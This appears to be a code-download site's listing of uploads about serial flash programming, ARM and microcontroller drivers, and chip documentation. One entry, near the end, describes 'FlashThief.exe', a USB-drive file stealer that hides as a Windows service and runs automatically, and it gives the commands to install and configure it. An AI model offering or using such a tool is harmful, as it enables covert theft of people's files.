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Description: 程序主要作用是通过串口下载VxWorks到ARM Flash ROM,主要过程是初始化ARM硬件,初始化串口UART1,从串口接收VxWorks image到DRAM,初始化Flash ROM.最后将DRAM中的VxWorks写入Flash ROM. ARM 串口与PC机串口连接,由PC机下载(download)VxWorks 到主板Flash ROM.
该程序对学习和理解ARM编程很有帮助.为了便于理解,这里我全部采用实际地址,不用宏定义.
程序语言为 ARM 汇编,具体过程参考ARM编程,具体寄存器接口定义参见ARM硬件手册
-A major role in the procedure through the serial port to download VxWorks to ARM Flash ROM, the main process is to initialize ARM hardware, initialize serial UART1, receive from the serial port VxWorks image to DRAM, initialization Flash ROM. Finally, in the DRAM VxWorks write Flash ROM. ARM serial machine with PC serial port to connect from PC machine to download (download) VxWorks to the main board Flash ROM. the process of learning and understanding of ARM programming helpful. In order to facilitate understanding, I used the actual address, not the definition of macro. programming language for the ARM compilation, the specific reference ARM programming process, the specific register interface definitions see ARM hardware manual
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Size: 6144 |
Author: 王斌 |
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Description: 串口烧写flash工具,国产，性能好，烧写成功率高-Serial flash programmer tools, domestic, performance, and programmer a high success rate
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Size: 1960960 |
Author: Peter |
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Description: 通过三星ARM7芯片S3C44B0，将RAM数据烧写到Flash的源码，RAM数据可通过串口从主机下载。-Samsung ARM7 chip through S3C44B0, the programmer RAM data to the Flash source code, RAM data can be downloaded from the host through the serial port.
Platform: |
Size: 98304 |
Author: SouthSand |
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Description: Flash 断点续传,选择文件后，先检查本地的SO中存的MD5信息是否和选择文件相同的，如果有相同数据，再判断是否已经上传成功，如果没有完成，会询问是否续传，如果选择是，那么就将文件的信息发送给后台，后台根据文件信息判断是否存在此文件，并根据文件信息返回需要续传的块序号，然后FLASH根据这些序号上传。
上传时，后台接收成功一个块，就会在日志文件写入相应的块信息，便于下次查询
如果上传成功，则将日志信息删除，本地SO中更新上传状态来自www.kingnare.com/auzn
-HTTP Flash, select the file, first check the local SO in information is stored in MD5, and select the file the same, if the same data, and then determine whether the upload has been successful, if not completed, will be asked whether Resume, If you choose yes, then the document will be sent to the background information, background information on the basis of documents to determine whether the existence of this file and return file information in accordance with the needs of the block Resume serial number, and then FLASH From the basis of these serial numbers. From when the success of the background to receive a block, it will write the log file in the corresponding block of information, easy to upload the next query if successful, will delete the log information, the local SO update upload status
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Size: 172032 |
Author: 王泼 |
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Description: ADuC812是美国AD公司推出的高性能单片机，具有集成度高、资源丰富等特点。
(1) 基于8051的内核，指令系统与8051兼容，额定工作频率12MHz。
(2) 8KB片内闪速/电擦除程序存储器 640B片内闪速/电擦除数据存储器 256B片内数据RAM。
(3) 3个16位的定时器/计数器 32根可编程I/O线 9个中断源，2个优先级。
(4) 1个8通道，高精度12位ADC 2个12位电压输出DAC。
(5) 1个片内温度传感器。
(6) 采用3V、5V电压工作 具有正常、待机和掉电三种工作模式。
(7) 1个通用UART串行I/O 1个与I2C兼容的两线串口和SPI串口 1个看门狗定时器(WDT) 1个电源监视器(PSM)。-ADuC812 is AD Launches the United States, high-performance single-chip, high integration and rich in resources and so on. (1) Based on the 8051 core 8051 compatible instruction set with a rated operating frequency of 12MHz. (2) 8KB-chip Flash/EE program memory 640B-chip Flash/EE data memory 256B-chip data RAM. (3) three 16-bit timer/counter 32 programmable I/O lines 9 interrupt sources, two priority. (4) an 8-channel, high-precision 12-bit ADC 2 12-bit voltage output DAC. (5) a-chip temperature sensor. (6) the use of 3V, 5V voltage with normal, standby and power-down mode of the three. (7) a generic UART serial I/O 1 with I2C-compatible two-wire SPI serial port and serial port a watchdog timer (WDT) 1 power supply monitor (PSM).
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Size: 695296 |
Author: 白涛 |
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Description: 读写器与射频卡通信的设计采用RC522射频读写芯片与射频卡进行通信，符合ISO14443规范协议；硬件系统设计中主要有AVR单片机主控模块、电源模块、存储模块、外部时钟模块、LCD模块；软件系统设计采用C语言，遵循模块化和结构化编程模式，设计了射频卡操作程序、软关机与自动关机程序、LCD显示、串行Flash存储器、外部时钟等外部设备驱动程序。所设计的手持式读写器具备对MF1 S50、S70射频卡的读写、实时状态显示、系统在线升级以及关机等功能。-This handset can process the data offline or online, reading and writing from 10 cm far. This handset is low-power, miniature, modular design and so on. This article includes: the communication design between RF card and Reader, hardware system design and software systems design. The communication design between RF card and Reader used to RC522 RF chip control RF cards, in line with ISO14443 standard protocol Hardware system design mainly include AVR microcontroller control modules, power modules, memory modules, external clock modules, LCD modules Software system designed with C programming language, and follow the modular structure of the programming model, and has the RF card operation procedures, soft shutdown and automatic shutdown procedures, LCD display, serial Flash memory, an external clock, and other external device driver Procedures. The handset readers has the MF1 S50, S70 RF card reader function, real-time status display function, the system online update function and so
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Size: 120832 |
Author: ericxj86 |
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Description: The buffers allow receiving of data while a
page in the main memory is being reprogrammed. Unlike conventional Flash-The AT45D081A is a 5-volt only, serial interface Flash memory suitable for in-system
reprogramming. Its 8,650,752 bits of memory are organized as 4096 pages of
264 bytes each. In addition to the main memory, the AT45D081A also contains two
SRAM data buffers of 264 bytes each. The buffers allow receiving of data while a
page in the main memory is being reprogrammed. Unlike conventional Flash
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Size: 238592 |
Author: 牛也 |
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Description: 2009.02.13 (Chiron.ylq)
--- --- --- --- ---
该工程用于Analog Devices VisualDSP++ V5.0开发环境下，烧写Silicon Storage Technology公司SST39VF512/010/020/040系列Flash的Program Load Driver。
1. 文件结构
SST39VFXXX.dlb SST39VF512/010/020/040 Flash操作驱动
BF533_SST_Flash_Driver.c VisualDSP++ v5.0 flash load driver
Uart.c 串口驱动，用于打印调试信息
2. 程序信息
① NUM_SECTORS (BF533_SST_Flash_Driver.c)
参数在使用前必须正确定义宏SST_FLASH_TYPE (SST39VFXXX.h)以确保正确使用。
② DEBUG (BF533_SST_Flash_Driver.c)
用于开启debug功能，当定义DEBUG为1后，可以利用全局字符数组char cDebug[100]，打印调试信息，信息从串口(115200,N,8,1)打出。
#if DEBUG == 1
sprintf(cDebug, "ulStart = d, lCount = d, lStride = d, pnData = 0x x.\r\n", ulStart, lCount, lStride, pnData)
UART_TX(cDebug, strlen(cDebug))
return NO_ERR
#endif-2009.02.13 (Chiron.ylq)
------------------------------
The project is Silicon Storage Technology Inc. SST39VF512/010/020/040 series of Flash-Program Load Driver, and used under Analog Devices VisualDSP++ V5.0 development environment.
1. File Structure
SST39VFXXX.dlb SST39VF512/010/020/040 Flash Program Driver
BF533_SST_Flash_Driver.c VisualDSP++ v5.0 flash load driver
Uart.c serial driver, for printing debugging information
2. Procedural information
① NUM_SECTORS (BF533_SST_Flash_Driver.c)
Parameters must be correct in the use of pre-defined macros SST_FLASH_TYPE (SST39VFXXX.h) to ensure proper use.
② DEBUG (BF533_SST_Flash_Driver.c)
Used to open the debug function, when the definition of DEBUG for one, you can use the overall character array char cDebug [100], print debug information, information from the serial port (115200, N, 8,1) shot.
# if DEBUG == 1
sprintf (cDebug, "ulStart = d, lCount = d, lStride = d, pnData
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Size: 65536 |
Author: Chiron |
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Description: The W78E58B is an 8-bit microcontroller which has an in-system programmable Flash EPROM for
firmware updating. The instruction set of the W78E58B is fully compatible with the standard 8052. The
W78E58B contains a 32K bytes of main ROM and a 4K bytes of auxiliary ROM which allows the
contents of the 32KB main ROM to be updated by the loader program located at the 4KB auxiliary
ROM 512 bytes of on-chip RAM four 8-bit bi-directional and bit-addressable I/O ports an additional 4-
bit port P4 three 16-bit timer/counters a serial port. These peripherals are supported by a eight
sources two-level interrupt capability. To facilitate programming and verification, the ROM inside the
W78E58B allows the program memory to be programmed and read electronically. Once the code is
confirmed, the user can protect the code for security-The W78E58B is an 8-bit microcontroller which has an in-system programmable Flash EPROM for
firmware updating. The instruction set of the W78E58B is fully compatible with the standard 8052. The
W78E58B contains a 32K bytes of main ROM and a 4K bytes of auxiliary ROM which allows the
contents of the 32KB main ROM to be updated by the loader program located at the 4KB auxiliary
ROM 512 bytes of on-chip RAM four 8-bit bi-directional and bit-addressable I/O ports an additional 4-
bit port P4 three 16-bit timer/counters a serial port. These peripherals are supported by a eight
sources two-level interrupt capability. To facilitate programming and verification, the ROM inside the
W78E58B allows the program memory to be programmed and read electronically. Once the code is
confirmed, the user can protect the code for security
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Size: 92160 |
Author: wangchao |
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Description: The SL11RIDE is a low cost, high speed Universal Serial Bus RISC based Controller board. It contains a
16-bit RISC processor with built in SL11RIDE ROM to greatly reduce firmware development efforts. Its
serial flash EEPROM interface offers low cost storage for USB device configuration and customer product
specific functions. New functions can be programmed into the I2C by downloading it from a USB Host
PC. This unique architecture provides the ability to upgrade products, in the field, without changing the
peripheral hardware.-USB IDE solution
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Size: 172032 |
Author: MingCheng |
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Description: TMS320VC5509A烧写片外串行FLASH的程序，
支持SST25VF040B-Serial TMS320VC5509A-chip FLASH programmer procedures, support SST25VF040B
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Size: 372736 |
Author: Vi.Wang |
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Description: 本应用指南讲述 Spartan-3E 系列中的串行外设接口 (SPI) 配置模式。SPI 配置模式拓宽了
SpartanTM-3E 设计人员可以使用的配置解决方案。SPI Flash 存储器件引脚少、封装外形小而
且货源广泛。本指南讨论用 SPI Flash 存储器件配置 Spartan-3E FPGA 所需的连接，并且介绍
SPI 模式的配置流程。本指南还提供一种实用工具，用于在原型开发过程中对选定的
STMicroelectronics 和 Atmel SPI 器件进行在系统编程。-Application Guide on the Spartan-3E series of serial peripheral interface (SPI) configuration mode. SPI configuration mode broadened SpartanTM-3E designers can use to configure the solution. SPI Flash memory-pin small package and supply a wide range of small form factor. Discussed in this Guide SPI Flash memory with Spartan-3E FPGA configuration required to connect, and introduced the SPI mode configuration process. This guide also provides a practical tool for the prototype development process in selected STMicroelectronics and Atmel SPI programmable devices in the system.
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Size: 371712 |
Author: xth |
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Description: mediatek dvd flasher suport serial and paralel flash chip
Platform: |
Size: 295936 |
Author: pras |
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Description: This VHDL module implements a state controller for a serial (SPI) Flash ROM
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Size: 721920 |
Author: mahmoud |
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Description: 这是一段通过串口 读写FLASH的资料 非常实用 希望对你有所帮助-This is a FLASH through the serial port to read and write very useful information you would like to help
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Size: 141312 |
Author: q |
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Description: 整理好的最全的S3C2440中文资料，包含18章节。如下：第1章 产品概述
第2章 处理器工作模式
第5章 内存控制器
第6章 Nand Flash控制器
第7章 时钟与电源管理
第8章 直接存储器存取
第10章 PWM及定时器
第11章 UART
第14章 中断控制器
第16章 ADC和触摸屏接口
第17章 实时时钟
第18章 看门狗定时器
第19章 MMC/SD/SDIO控制器
第20章 IIC总线接口
第21章 IIS总线接口
第22章 SPI（串行外围设备接口）
第24章 AC97控制器。
网上一般只能找到四五章节。-Finishing S3C2440 good most of the Chinese data, contains 18 chapters. As follows: Chapter 1 Product Overview Chapter 2 processor mode Chapter 5 Memory Controller Chapter 6 Nand Flash controller clock Chapter 7 and Chapter 8 Power Management direct memory access and Chapter 10 PWM timer section 11 Chapter 14 Chapter UART interrupt controller Chapter 16 ADC and touch screen interface Chapter 17 Real Time Clock Chapter 18 Watchdog Timer Chapter 19 MMC/SD/SDIO controller Chapter 20 IIC Bus Interface IIS total Chapter 21 Chapter 22 line interface SPI (serial peripheral interface) Chapter 24 AC97 controller. Internet in general can only find four or five chapters.
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Size: 4360192 |
Author: |
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Description: stm32f103 SPI 操作 串行FLASH 25p16-operation stm32f103 SPI serial FLASH 25p16
Platform: |
Size: 343040 |
Author: 次现峰 |
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Description: 本程序以服务形式运行。当然，双击它也是开始监听了……
安装服务：FlashThief.exe -install
卸载服务：FlashThief.exe -uninstall
安装服务后，默认启动方式为自动启动。你要安装后就运行，请使用
net start "Windows Management Acquisition"
设置盗取文件储存路径：FlashThief.exe -path D:\MyFiles
如果D:\MyFiles不存在，FlashThief.exe盗取到文件需要储存时会自动创建；
如果不设置储存路径，默认储存在与FlashThief.exe同级目录下。每个U盘的
文件储存在以磁盘序列号命名的目录下-This procedure runs in the form of services. Of course, double-click it to start is to monitor the ... ... install the service: FlashThief.exe-install uninstall the service: FlashThief.exe-uninstall the installation of service, the default start-up mode to start automatically. You have to run after installation, use the net start " Windows Management Acquisition" set up to steal a document storage path: FlashThief.exe-path D: \ MyFiles if D: \ MyFiles does not exist, FlashThief.exe stealing need to be saved to a file when will automatically create If you do not set the storage path, the default is stored in the directory with the same level FlashThief.exe. U disk every document stored in the disk serial number in the directory named
Platform: |
Size: 14336 |
Author: 李宁 |
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Description: C8051F系列单片机程序,包括串口0和串口1，ADC0，ADC2，定时器T0～T4-C8051F series single-chip process, including the serial 0 and serial 1, ADC0, ADC2, timer T0 ~ T4
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Size: 577536 |
Author: shayne |
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Description: serial_44b0
44b0uclinux串口驱动程序-,Unix_Linux,嵌入式Linux
U盘源码
基于MCU的U盘源码，实现flash的windos文件系统
temp3
温度传感器的单片机处理显示程序，已通过测试
USB2.0
USB2.0开发例程，基于51单片机，包括pc端程序
红外源程序
51单片机的一段C语言源程序，为NEC的源代码，可以在你做红外通讯时作参考
keil uCOS_II v2.70 port
绝对经典的uc/os的程序，对初学者有一定的帮助！！ -serial_44b0 44b0uclinux Serial driver-, Unix_Linux, source embedded Linux U disk U-disk-based MCU source, windos to achieve the flash file system of the single-chip temperature sensor temp3 display program to deal with, has been tested to USB2.0 USB2. 0 the development of routines, based on 51 single-chip, including procedures for pc infrared source 51 side of the section of single-chip C language source code, source code for the NEC, you can do in your reference infrared communications keil uCOS_II v2. 70 port absolute classic uc/os procedures, these will certainly help a beginner! !
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Size: 1032192 |
Author: 许易 |
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